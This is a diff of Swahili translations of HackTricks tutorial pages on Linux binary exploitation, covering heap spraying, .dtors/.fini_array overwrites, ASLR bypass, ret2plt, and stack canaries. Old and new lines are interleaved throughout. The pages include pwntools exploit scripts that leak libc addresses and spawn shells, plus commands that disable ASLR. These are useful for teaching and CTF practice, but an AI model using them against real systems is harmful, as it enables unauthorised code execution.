Mahitaji sawa na hapo awali yanahitajika na mengine zaidi, pamoja na sehemu zilizohifadhiwa lazima ziwe kubwa kuliko 512.
Mahitaji sawa na hapo awali yanahitajika na mengine zaidi, pamoja na vipande vilivyowekwa lazima viwe vikubwa kuliko 512.
Shambulio ni kama lile lililopita, yaani, lazima kubadilisha pointer bk na wito wote huo wa malloc(), lakini pia lazima kubadilisha ukubwa wa sehemu iliyobadilishwa ili ukubwa huo - nb uwe < MINSIZE.
Shambulio ni kama lile la awali, yaani, lazima kubadilisha pointer ya bk na lazima kufanya wito wote huo wa malloc(), lakini pia lazima kubadilisha ukubwa wa kipande kilichobadilishwa ili ukubwa huo - nb uwe < MINSIZE.
Kwa mfano, itabidi kuweka ukubwa kuwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa haiwezi kuwa hasi kwa sababu inalinganishwa na isiyosainiwa)
Kwa mfano, itafanya ukubwa kuwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa haiwezi kuwa hasi kwa sababu inalinganishwa na unsigned)
Pia, kuna kipande cha programu kilichoingizwa ili kufanya iwe ngumu zaidi.
Zaidi ya hayo, kuna kipande cha kurekebisha ili kufanya iwe ngumu zaidi.
**Heap Spraying**
Kimsingi inahusisha kuhifadhi kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Kama safu, 0x0c hutumiwa. Kwa hivyo, jaribio litakuwa kusonga kwenye anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itaandikwa na safu hii itaitwa, itaenda hapo. Kimsingi mkakati ni kuhifadhi kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itaandikwa na kusonga kwa 0x0c0c0c0c kwa matumaini kwamba kuna nops hapo.
Kimsingi inahusisha kuweka kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Zaidi, kama safu ya nops hutumiwa 0x0c. Kwa hivyo, jaribio litakuwa kusonga kwa anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itaandikwa juu na safu hii itaruka hapo. Kimsingi mkakati ni kuweka kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itaandikwa juu na kuruka kwa 0x0c0c0c0c kwa matumaini kwamba kuna nops huko.
**Heap Feng Shui**
Inahusisha kusimamisha kumbukumbu kwa njia ya kuhifadhi na kufungua kumbukumbu ili kubaki sehemu zilizohifadhiwa kati ya sehemu zilizofunguliwa. Buffer ya kufurika itawekwa kwenye moja ya vipande hivi.
Inahusisha kusambaza kumbukumbu kwa njia ya akiba na kuachilia kumbukumbu hivyo kwamba kuna vipande vilivyowekwa kati ya vipande vilivyofunguliwa. Buffer ya kufurika itawekwa kwenye moja ya vipande hivyo.
**objdump -d executable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCTION** —> Pata anwani ya kazi\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona kama ni shellcode yetu na kutoa OpCodes\
**objdump -t ./exec | grep varBss** —> Jedwali la ishara, ili kutoa anwani za vitu na kazi\
**objdump -TR ./exec | grep exit(func lib)** —> Ili kutoa anwani za kazi za maktaba (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Inatoa anwani ya puts itakayobadilishwa kwenye GOT\
**objdump -D ./exec** —> Disas ALL hadi kuingia kwa plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Maelezo ya kazi katika gdb
## Kozi za Kuvutia
@ -624,7 +532,7 @@ Inahusisha kusimamisha kumbukumbu kwa njia ya kuhifadhi na kufungua kumbukumbu i
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -632,6 +540,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

68
reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md Normal file
View file

@ -0,0 +1,68 @@
# AWS2Exec - .dtors & .fini\_array
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## .dtors
{% hint style="danger" %}
Leo ni **kawaida sana kupata binary na sehemu ya .dtors**.
{% endhint %}
Waharibifu ni kazi ambazo **hutekelezwa kabla ya programu kukamilika** (baada ya kazi ya `main` kukamilika).\
Anwani za kazi hizi zimehifadhiwa ndani ya **sehemu ya `.dtors`** ya binary na kwa hivyo, ikiwa utaweza **kuandika** anwani ya **shellcode** katika **`__DTOR_END__`** , hiyo itatekelezwa kabla ya programu kukamilika.
Pata anwani ya sehemu hii na:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Kawaida utapata **alama za DTOR** **kati** ya thamani `ffffffff` na `00000000`. Kwa hivyo ikiwa unaona thamani hizo tu, inamaanisha kwamba **hakuna kazi iliyosajiliwa**. Kwa hivyo **badilisha** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
{% hint style="warning" %}
Bila shaka, kwanza unahitaji kupata **mahali pa kuhifadhi shellcode** ili baadaye uweze kuita.
{% endhint %}
## **.fini\_array**
Kimsingi hii ni muundo na **kazi ambazo zitaitwa** kabla ya programu kukamilika, kama **`.dtors`**. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwenye anwani**, au katika hali ambapo unahitaji kurudi **kwa `main`** tena ili **kunufaika na udhaifu mara ya pili**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Tafadhali elewa kwamba hii **haitasababisha** **mwanya wa milele** kwa sababu unaporudi kwa main, canary atagundua, mwisho wa stack unaweza kuwa umeharibiwa na kazi haitaitwa tena. Kwa hivyo na hii utaweza **kuwa na utekelezaji mwingine** wa mwanya.
{% hint style="danger" %}
Tafadhali elewa kwamba na [Full Relro](../common-binary-protections-and-bypasses/relro.md), sehemu ya `.fini_array` inafanywa kuwa **soma-tu**.
{% endhint %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

63
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md
View file

@ -6,17 +6,17 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
**Urambazaji wa Mfumo wa Nafasi ya Anwani (ASLR)** ni mbinu ya usalama inayotumika kwenye mifumo ya uendeshaji kwa kuchanganya **anwani za kumbukumbu** zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kutabiri mahali pa michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za mbinu za kudukua, hasa mlipuko wa ujazo.
**Urambazaji wa Mfumo wa Nafasi ya Anwani (ASLR)** ni mbinu ya usalama inayotumika kwenye mifumo ya uendeshaji kwa kuchanganya **nafasi za kumbukumbu** zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kutabiri mahali pa michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za udanganyifu, hasa mlipuko wa ujazo wa kijazo.
### **Kuangalia Hali ya ASLR**
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **Kulemaza ASLR**
Ili **kulemaza** ASLR, weka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kulemaza ASLR kwa ujumla siyo jambo linalopendekezwa isipokuwa katika mazingira ya majaribio au kutatua matatizo. Hapa ndivyo unavyoweza kulemaza:
Ili **kulemaza** ASLR, weka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kulemaza ASLR kwa ujumla siyo jambo linalopendekezwa isipokuwa katika mazingira ya majaribio au kutatua hitilafu. Hapa ndivyo unavyoweza kulimaza:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -43,7 +43,7 @@ setarch `uname -m` -R ./bin args
```
### **Kuwezesha ASLR**
Ili **kuwezesha** ASLR, unaweza kuandika thamani ya **2** kwenye faili ya `/proc/sys/kernel/randomize_va_space`. Kawaida hii inahitaji mamlaka ya mzizi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:
Ili **kuwezesha** ASLR, unaweza kuandika thamani ya **2** kwa faili ya `/proc/sys/kernel/randomize_va_space`. Kawaida hii inahitaji mamlaka ya mzizi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -68,30 +68,47 @@ Hii itahakikisha mipangilio yako ya ASLR inabaki hata baada ya kuzimwa na kuzimw
PaX inagawa nafasi ya anwani ya mchakato katika **makundi 3**:
* **Msimbo na data** (iliyoanzishwa na isiyoanzishwa): `.text`, `.data`, na `.bss` —> **biti 16** za entropy katika kipengele cha `delta_exec`. Kipengele hiki kinaanzishwa kwa nasibu kila mchakato na kuongezwa kwa anwani za awali.
* **Kumbukumbu** iliyotengwa na `mmap()` na **maktaba zinazoshirikiwa** —> **biti 16**, inayoitwa `delta_mmap`.
* **Mtungo** —> **biti 24**, inayoitwa `delta_stack`. Walakini, inatumia **biti 11** kwa ufanisi (kutoka kwa byte ya 10 hadi ya 20 pamoja), imepangwa kwa **biti 16** —> Hii inasababisha **anwani halisi 524,288 za mtungo**.
* **Kumbukumbu** iliyotengwa na `mmap()` na **maktaba zilizoshirikiwa** —> **biti 16**, inayoitwa `delta_mmap`.
* **Mtungo** —> **biti 24**, inayoitwa `delta_stack`. Walakini, inatumia **biti 11** (kutoka kwa byte ya 10 hadi ya 20 pamoja), imepangwa kwa **biti 16** —> Hii inasababisha **anwani halisi 524,288 za mtungo**.
Data iliyotangulia ni kwa mifumo ya biti 32 na entropy iliyopunguzwa mwishowe inawezesha kuvuka ASLR kwa kujaribu tena na tena hadi shambulio litakapokamilika kwa mafanikio.
Data iliyopita ni kwa mifumo ya biti 32 na entropy iliyopunguzwa mwishowe inawezesha kuvuka ASLR kwa kujaribu tena na tena hadi shambulio litakapokamilika kwa mafanikio.
#### Mawazo ya kufanya nguvu:
* Ikiwa una kutosha kwa kutosha kuhifadhi **kifuniko kikubwa cha NOP kabla ya msimbo wa kabati**, unaweza tu kufanya nguvu anwani kwenye mtungo hadi mchakato **unapovuka sehemu ya kifuniko cha NOP**.
* Chaguo lingine kwa hili ikiwa kujazwa sio kubwa na shambulio linaweza kutekelezwa kwa ndani ni kuingiza **kifuniko cha NOP na msimbo wa kabati katika mazingira ya pembejeo**.
* Chaguo lingine kwa hili ikiwa kutosha kwa kutosha si kubwa na shambulio linaweza kutekelezwa kwa ndani ni kuingiza **kifuniko cha NOP na msimbo wa kabati katika mazingira ya pembejeo**.
* Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu kwa anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Kama unashambulia seva ya mbali, unaweza kujaribu **kuburuta anwani ya kazi ya `libc` ya `usleep`**, ukitoa kama hoja 10 (kwa mfano). Ikiwa wakati fulani **seva inachukua sekunde 10 zaidi kujibu**, umepata anwani ya kazi hii.
* Ikiwa unashambulia seva ya mbali, unaweza kujaribu **kubadilisha anwani ya kazi ya `libc` ya `usleep`**, ukitoa kama hoja 10 (kwa mfano). Ikiwa wakati fulani **seva inachukua sekunde 10 zaidi kujibu**, umepata anwani ya kazi hii.
{% hint style="success" %}
Katika mifumo ya 64bit entropy ni kubwa zaidi na hili halikubaliki.
Kwenye mifumo ya 64bit entropy ni kubwa zaidi na hili halitowezekana.
{% endhint %}
### Ukiwa na uvujaji
### Taarifa za Kienyeji (`/proc/[pid]/stat`)
Faili ya **`/proc/[pid]/stat`** ya mchakato ni rahisi kusomwa na kila mtu na ina **taarifa muhimu** kama vile:
* **startcode** & **endcode**: Anwani juu na chini ya **TEXT** ya binary
* **startstack**: Anwani ya kuanzia ya **stack**
* **start\_data** & **end\_data**: Anwani juu na chini ambapo **BSS** iko
* **kstkesp** & **kstkeip**: Anwani za sasa za **ESP** na **EIP**
* **arg\_start** & **arg\_end**: Anwani juu na chini ambapo **maagizo ya amri** yako.
* **env\_start** & **env\_end**: Anwani juu na chini ambapo **mazingira ya mazingira** yako.
Hivyo, ikiwa mshambuliaji yupo kwenye kompyuta ile ile kama binary inayotumiwa na hii binary haitegemei kujaa kutoka kwa hoja za msingi, bali kutoka kwa **ingizo ambalo linaweza kuundwa baada ya kusoma faili hii**. Ni rahisi kwa mshambuliaji **kupata baadhi ya anwani kutoka kwenye faili hii na kujenga offsets kutoka kwao kwa ajili ya shambulio**.
{% hint style="success" %}
Kwa habari zaidi kuhusu faili hii angalia [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) ukisaka `/proc/pid/stat`
{% endhint %}
### Kuwa na uvujaji
* **Changamoto ni kutoa uvujaji**
Ukipewa uvujaji (changamoto rahisi za CTF), unaweza kuhesabu makadirio kutoka kwake (ukidhani kwa mfano unajua toleo sahihi la libc linalotumiwa kwenye mfumo unaoexploit). Udukuzi huu wa mfano umetolewa kutoka [**mfano kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (angalia ukurasa huo kwa maelezo zaidi):
Ikiwa unapewa uvujaji (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhani kwa mfano unajua toleo sahihi la libc linalotumiwa kwenye mfumo unaoexploit). Shambulio hili la mfano linachukuliwa kutoka kwenye [**mfano kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (angalia ukurasa huo kwa maelezo zaidi):
```python
from pwn import *
@ -126,7 +143,7 @@ Kwa kutumia kuzidi kwa buffer, ingewezekana kutumia **ret2plt** kufichua anwani
* **Format Strings Arbitrary Read**
Kama ilivyo kwa ret2plt, ikiwa una usomaji wa kiholela kupitia udhaifu wa format strings, ni rahisi kufichua anwani ya kazi ya **libc function** kutoka kwa GOT. Mfano ufuatao [**unapatikana hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Kama ilivyo kwa ret2plt, ikiwa una usomaji wa kiholela kupitia udhaifu wa format strings, ni rahisi kufichua anwani ya kazi ya **libc** kutoka kwa GOT. Mfano ufuatao [**unapatikana hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -143,10 +160,24 @@ Unaweza kupata habari zaidi kuhusu Format Strings arbitrary read katika:
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret
### Ret2ret & Ret2pop
Jaribu kukiuka ASLR kwa kutumia anwani ndani ya stack:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

25
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md
View file

@ -6,9 +6,9 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
Lengo la mbinu hii ni **kuvuja anwani kutoka kwa kazi kutoka kwa PLT** ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi ya `puts` kutoka kwa libc, basi unaweza **kukadiria wapi ni msingi wa `libc`** na kuhesabu offsets kufikia kazi nyingine kama vile **`system`**.
Lengo la mbinu hii ni **kuvuja anwani kutoka kwa kazi kutoka kwa PLT** ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi ya `puts` kutoka kwa libc, basi unaweza **kukadiria wapi msingi wa `libc` uko** na kukadiria offsets kufikia kazi nyingine kama vile **`system`**.
Hii inaweza kufanywa na mzigo wa `pwntools` kama ([**kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
@ -37,15 +37,15 @@ elf.plt['puts'],
elf.symbols['main']
)
```
Tazama jinsi **`puts`** (ikitumia anwani kutoka kwa PLT) inavyoitwa na anwani ya `puts` iliyopo kwenye `GOT`. Hii ni kwa sababu wakati `puts` inachapisha kuingia cha `GOT`, kuingia hicho **kitakuwa na anwani ya `puts` kwenye kumbukumbu**.
Tambua jinsi **`puts`** (ikitumia anwani kutoka kwa PLT) inavyoitwa na anwani ya `puts` iliyoko kwenye `GOT`. Hii ni kwa sababu wakati `puts` inachapisha kuingia cha `GOT`, **kuingia hicho kitakuwa na anwani ya `puts` kwenye kumbukumbu**.
Pia tazama jinsi anwani ya `main` inavyotumiwa katika shambulizi ili wakati `puts` inamaliza utekelezaji wake, **binary inaita `main` tena badala ya kutoka** (hivyo anwani iliyovuja itaendelea kuwa halali).
Pia tambua jinsi anwani ya `main` inavyotumiwa katika shambulizi ili wakati `puts` inamaliza utekelezaji wake, **binary inaita `main` tena badala ya kutoka** (hivyo anwani iliyovuja itaendelea kuwa halali).
{% hint style="danger" %}
Tambua jinsi ili hili lifanye kazi **binary haitakiwi kuchakachuliwa na PIE** au lazima uwe na **kuvuja kwa kuepuka PIE** ili kujua anwani ya `PLT`, `GOT` na `main`.
Tambua jinsi ili hili lifanye kazi **binary haitakiwi kuwa imesanidishwa na PIE** au lazima uwe umepata **uvujaji wa kuepuka PIE** ili kujua anwani ya `PLT`, `GOT` na `main`.
{% endhint %}
Unaweza kupata [**mfano kamili wa kuepuka hili hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Hii ilikuwa shambulizi la mwisho kutoka kwenye mfano huo:
Unaweza kupata [**mfano kamili wa kuepuka hii hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Hii ilikuwa shambulizi la mwisho kutoka kwenye mfano huo:
```python
from pwn import *
@ -81,9 +81,16 @@ p.sendline(payload)
p.interactive()
```
## Mifano Mingine & Marejeo
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kuzidi hadi byte 0x00 ya canary kisha kuita puts na kuvuja. Kwa kutumia canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha ROP gadget kuita `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* Biti 64, ASLR imewezeshwa, hakuna canary, kuzidi steki katika main kutoka kwa kazi ya mtoto. ROP gadget kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita gadget moja.
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -91,6 +98,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

42
reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -16,23 +16,33 @@ Njia nyingine za kusaidia HackTricks:
## **StackGuard na StackShield**
**StackGuard** inaweka thamani maalum inayoitwa **canary** kabla ya **EIP (Mwongozo wa Maagizo Uliyopanuliwa)**, kwa usahihi `0x000aff0d` (inayowakilisha nukta, mstari mpya, EOF, kurudi nyumbani) kulinda dhidi ya kujaza zaidi kwa buffer. Walakini, kazi kama vile `recv()`, `memcpy()`, `read()`, na `bcopy()` bado ziko hatarini, na haitoi ulinzi kwa **EBP (Mwongozo wa Msingi)**.
